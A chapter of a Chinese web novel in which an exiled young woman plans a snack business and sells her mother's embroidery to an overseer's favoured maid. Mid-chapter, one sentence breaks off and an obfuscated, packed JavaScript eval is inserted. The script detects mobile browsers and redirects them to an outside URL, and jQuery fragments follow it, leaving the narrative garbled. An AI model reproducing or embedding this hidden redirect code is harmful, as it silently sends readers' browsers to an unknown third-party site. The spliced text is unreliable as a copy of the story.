12. 第十二章

作品:《古代流放养娃赚钱日常

    打从进瞿四娘的门,苏摇枝便注意着案几上摆放的吃食。


    豆皮馅的包子,这是本朝较为时兴的吃法,便是在馍馍里夹些菜馅肉馅等,无论是王公贵族,还是平民百姓,都是吃惯了的。


    在这面团里夹馅,馅的种类自不必多说,荤的素的,咸的甜的,能说出百种花样来,但外头的饼子倒是只有那么几样。


    如蒸熟,便是包子或是炊饼,只不过两者形状不一样,炊饼上头圆鼓,下面平展,不如包子那么丰满。若是烤熟,便是烧饼,扁扁一张大圆盘,口感上与蒸熟的很是不一样。


    一张饼子,里头再夹足量的馅,一个下肚便能顶上半天力气,用的也多是面粉,价格上也便宜。


    只是这里头的馅却要讲究些,若是做荤菜,就单说那猪下水,也要二三十文一斤,而且去腥也是个大问题,香料便不必说了,既难买到又价格昂贵。


    像瞿四娘那样,夹豆皮吃便是很不错的选择。


    一来味道上,苏摇枝能用上辣条食谱,食客们吃惯了的味道,在她这却有创新,保证了口味新鲜。二来,若要做豆干,还能额外做出几斤的豆浆来,配着饼子卖,有嫌口干的定然还会顺带一杯豆浆走,又额外增创了补贴。


    只是若要配麻辣豆皮,苏摇枝私心觉得用烤过的烧饼更适合些,不过这也得由大众的口味来定,苏摇枝打算等筹了钱,做好两种饼子,让家里人吃过再一同商议。


    至于这材料要如何采买,苏摇枝也打听好了,刘妈妈男人和亲儿子便能帮上忙,他们二人因着在方监工手底下做事的缘故,并不用整日在田间劳作,甚至偶尔还能休憩上半日,去镇上采买东西。


    要不说刘妈妈一家过得比旁的流犯要舒适上许多,跟上了手头有点权利的,不知惠利多少。


    这瞿四娘是方监工心爱之人,定是要讨好的。


    苏摇枝催着秦氏做起绣活来。


    秦氏手快又心细,不出两日,那方帕子便快要完工。


    “如何?同瞿娘子家中的相比,可要胜出几分颜色?”


    苏摇枝捏起帕子两角,在阳光底下细细查看,每一丝绣纹都干净利落,没有旁支杂角。


    秦氏从七岁时便开始学做绣活,刚开始是为了给家中补贴,后来及笄了,便跟着村中几个绣娘一同给镇上几家富贵人家绣东西,嫁作妇人后也仍然在绣,自个儿做套成衣也是没有问题的。


    也幸而她有给富贵人家做绣活的经验,知晓这些有钱人都不喜太过艳俗的配色,于是便将苏摇枝所描述的牡丹绕枝纹绘得更清雅些,黄绿色的夹叶青葱清新,牡丹花瓣由深变浅,此外还在四周绣了一圈云托日月纹做包边,更显精致巧思。


    苏摇枝连连赞叹:“娘,岂止只是胜出几分,瞿四娘手上那方帕子,怕是都没脸放您面前瞧的。”


    秦氏有些不好意思的揉搓着掌心,她头回被这么夸耀,很是不习惯。


    若不是因为家里没有烛火,这帕子她还能再早些完工,苏摇枝也不准她在夜间对着月亮绣,说是怕坏了眼睛。


    苏摇枝小心翼翼将那帕子用剩下的素布包了起来。


    “事不宜迟,我这便送去方家。”


    去路上,正巧遇见了刘妈妈。


    二人寒暄一番,刚要分开,却听着从河道下坡那处传来隐隐闹声。


    这不免让人有些好奇,往日河岸边因着聂婆子的缘故,甚是安静,今日这是怎的了,闹出如此动静?


    刘妈妈给了个眼色:“咱们瞧瞧去。”


    眼看天色还尚早,瞧会样子再去方家也来得及,苏摇枝点点头,跟着刘妈妈一同去了岸边。


    离得越近了,那骂声也愈发清晰入耳,再定睛一看,不正是聂婆子吗?


    此刻聂婆子正双手叉腰,气势极为凶悍,对面站的是个和苏摇枝岁数差不多的小娘子,想来是嘴上不敌聂婆子,被骂的脸上青一阵红一阵的,周边还围了不少看戏的。


    “你说这河里的东西捞不得,怎的我前些日子听说也有人捞了,只你这杀千刀的老婆子骂不过人家才算了,怎的瞧我好欺负不成?”


    聂婆子脚下一跺,往前拍了拍手掌,厉害道:“你个没脸没皮的听谁浑说的?这河里鱼虾是我给我家儿子补身子的!你们谁敢动!”·


    苏摇枝不得奇怪:“怎的有人和聂婆子争执上了,刘妈妈您上回不是说没人敢惹她吗?”


    刘妈妈“啧”了声:“还不是因为你出了头,有人瞧见了你与聂婆子争吵,还眼见着你将鱼带了回去,消息一传开,就都来抓鱼了。也幸亏有你,不然啊这河还真要成她聂婆子一人的不成。”


    苏摇枝没成想自己那日的举动被旁人都瞧见了,她心中倒是不怕的,只是恐怕往后要与那聂婆子结怨了。


    那与聂婆子对峙的小娘子虽不敌骂,可胜在年轻体力好,便与聂婆子这么耗着,苏摇枝看了好一会,见那聂婆子体力渐渐不支,声量也小了下来,这才觉得没意思,同刘妈妈道了别便要离开了。


    殊不知,正是自己转身的功夫,满心恨不得啐死对面小贱人的聂婆子瞧见了她。


    她自然忘不了苏摇枝的身影,此刻一想起,便一口银牙都要咬碎。


    眼下还有仗在身,她脱不开,否则定要追上去同苏摇枝再战一场。


    .


    苏摇枝每回去方家,都是要绕过正门,去西面的厢房后院的。


    只是没想到,今日她刚要绕开正院,便与那正门中走出来的夫人打了个照面。


    这夫人着一袭白色软云纱衫,下配深蓝百褶马面裙,发髻梳成牡丹头,首饰打扮的并不繁复,只簪了一支红宝制成的钗环,别了两只红玛瑙嵌珍珠耳坠,却显得整个人简约庄重,眼神凌厉,手上盘着一圈佛珠,气度颇为华贵。


    她身后紧接着便是方德,苏摇枝一瞧,约莫猜出了这位夫人的身份,赶忙往旁粗壮树桩内躲了躲。


    只听方德朝那夫人道:“我去惠州这几日,家中便交由你看付了。钧儿才上私塾,平日要多警醒着些,莫叫他惯坏了性子,至于……”


    话未说完,那夫人便淡淡道:“我素日只修习佛法,除了钧儿,其余家中琐事一概有公婆出面,夫君无需担忧我会为难瞿娘子。”


    方德神色有些尴尬,抚了抚袖:“我知你一向懂节识大体,不会让我为难,我不在家的日子,你也要照顾好自己。”


    那夫人轻敛眉目,行了个标准的礼:“恭送夫君。”


    方德脸上讪讪,未说什么,便唤了马夫上车而去了。


    苏摇枝将一切尽收眼底,按此情形,那庄重妇人,应当便是方监工的正妻柳氏了,刘妈妈曾在她面前嚼舌根,说是方家这正妻位置如同虚设,夫妻间情谊少的很。如今一看果真不假,二人之间关系看上去似乎有些尴尬,比相敬如宾要更为陌生些。


    见方德走后,柳夫人才缓缓转身回门,手中


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626238|172372||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    依旧捻动着那串佛珠,恍若参破禅机。


    门外安生,苏摇枝这才走了出来,小心翼翼绕过正院,朝西厢房后门而去。


    瞿娘子房内。


    连翘掩上屋里门缝,快步走至瞿四娘身侧:“娘子,老爷走了。”


    瞿四娘神色有些落寞,淡淡点头,手指捏住桌边一角,眼底有几分不甘。


    因着通房侍女的身份,哪怕她再受方德喜欢,也始终不能代替正妻的位置来给他送行。偏生她连个妾也不是,伺候方德这么些年,身子也不争气,始终未有孕。


    连翘见她面色不虞,以为是伤心老爷不在家,便安慰道:“娘子放心,主子不过去上三五日,很快就会回来的。”


    瞿四娘却怔愣出声道:“要那么久?”


    连翘有些哑言,这三五日,不已经是很短的时间了吗。


    实则,在瞿四娘心中,早已渐渐将方德视作她生活中最为重要的部分。她的吃穿住行,每一样都因为这个男人,才得以一样样如愿,如今他走了,虽说家中大娘子一向不爱搭理自己,可她心中到底还是害怕的。


    瞿四娘这边丧着脸,却听得后院门轻轻响扣,似是有人在敲门。


    瞿四娘抬抬眉毛:“去开,瞧瞧是谁来了。”


    待连翘领着苏摇枝进来,瞿四娘紧张的神色才陡然有几分纾解。


    这话本中的反派之妻都站在她面前了,便说明自己的选择没有错。瞿四娘反反复复安慰自己,终是显露出几丝笑。


    “苏娘子,你的帕子绣好了?”


    苏摇枝点头,从怀中取出用净布包好的绣帕,递到瞿四娘面前。


    她一眼便瞧见工整精致的绣面,惊得瞿四娘赶忙将帕子捏了起来,展开来,仔仔细细看了起来。


    且看这方帕子,素绢为底,边缘处皆用云托日月纹,若天边流霞萦绕,微微晃动时似有光华流转。牡丹花瓣娇艳展开,挂在枝头上,盈盈欲坠,针脚细密得连头发丝都难入,实是佳品。


    这与她那方帕子相比,竟是要好上不少了!


    瞿四娘欣喜的爱不释手,赶忙将腰间上原来那方给扔了,纤细的手指磨蹭过绣帕的每一寸,只觉衬得自己的手都更加娇美。


    真心夸赞道:“没想到你家母亲的绣工如此精妙。”


    见她喜欢,苏摇枝放下心来,笑道:“瞿娘子喜欢便好。”


    瞿四娘朝着连翘使了个眼色,连翘便立刻拿了钱袋子来,瞿四娘没有丝毫犹豫,从里头抓了一把钱出来,递在苏摇枝掌心。


    “苏娘子事情办得好,这些铜钱便做是初次的工钱,我这还有两套要缝补的褙子,一套想要做成荷花样式的抹胸,不知可愿接下?自然,这工钱另当别提。”


    苏摇枝将一掌心的铜钱都牢牢握紧了,估摸着怕是不止一二十文,见她还有别的活计要派给自家,苏摇枝赶忙点头,妥帖道:“娘子看得起,自是愿意的,只是这绣活终究还是家中母亲更为拿手,若不明日我让了她来给娘子量了尺寸,您与她细谈了要求再动工,这样可好?”


    瞿四娘点头:“甚好,你母亲绣工如此精湛,我与她说了,定然是能够知道我想要什么的。”


    二人便就此说定,因着布料和针线都由瞿四娘出,便还给了他们一半的定金。


    苏摇枝走出院门时才敢数上一数,揉了揉眼,心中骇然。


    前头绣帕的工钱,再加上这定金,竟是有八十文了!